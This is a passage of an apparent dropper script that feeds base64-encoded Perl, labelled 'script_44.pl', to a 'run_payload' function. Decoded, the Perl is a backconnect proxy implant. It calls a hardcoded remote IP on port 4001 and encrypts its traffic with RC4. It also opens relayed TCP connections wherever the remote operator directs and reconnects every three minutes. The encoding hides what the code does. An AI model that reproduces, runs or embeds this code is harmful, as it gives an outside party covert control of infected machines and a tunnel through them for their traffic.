gIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_44.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg2JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAs